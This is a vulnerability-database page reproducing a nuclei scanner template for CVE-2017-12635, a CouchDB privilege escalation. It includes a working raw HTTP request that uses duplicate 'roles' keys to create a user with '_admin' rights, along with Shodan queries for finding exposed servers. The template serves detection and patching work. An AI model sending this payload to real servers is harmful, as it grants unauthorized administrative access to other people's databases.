Lucene search
K

Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation

🗓️ 16 Jun 2026 07:13:51Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 130 Views

Apache CouchDB Privilege Escalation due to JSON Parser Vulnerabilit

Related
Refs
Code
id: CVE-2017-12635

info:
  name: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation
  author: pikpikcu
  severity: critical
  description: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keysfor 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behavior that if two 'roles' keys are available in the JSON, the second one will be used for authorizing the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.
  impact: |
    Remote attackers can exploit this vulnerability to escalate privileges.
  remediation: |
    Upgrade Apache CouchDB to version 2.1.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12635
    - https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E
    - https://security.gentoo.org/glsa/201711-16
    - https://lists.debian.org/debian-lts-announce/2018/01/msg00026.html
    - https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbmu03935en_us
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-12635
    cwe-id: CWE-269
    epss-score: 0.99924
    epss-percentile: 0.99966
    cpe: cpe:2.3:a:apache:couchdb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: couchdb
    shodan-query:
      - product:"couchdb"
      - cpe:"cpe:2.3:a:apache:couchdb"
  tags: cve2017,cve,couchdb,apache,intrusive,vkev,vuln

http:
  - raw:
      - |
        PUT /_users/org.couchdb.user:poc HTTP/1.1
        Host:  {{Hostname}}
        Accept: application/json

        {
          "type": "user",
          "name": "poc",
          "roles": ["_admin"],
          "roles": [],
          "password": "123456"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - application/json
          - "Location:"

      - type: word
        part: body
        words:
          - org.couchdb.user:poc
          - conflict
          - Document update conflict

      - type: status
        status:
          - 201
          - 409
# digest: 4a0a00473045022100f3bae702c3ee65fd9e58f6d9c227b36f6d0d47b8a958ffa93ce4e7d7b2c4744f02201ba307df81e6c405c7f09a8e7938888f0fb78401e207389142ac4b569dc5c2ce:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation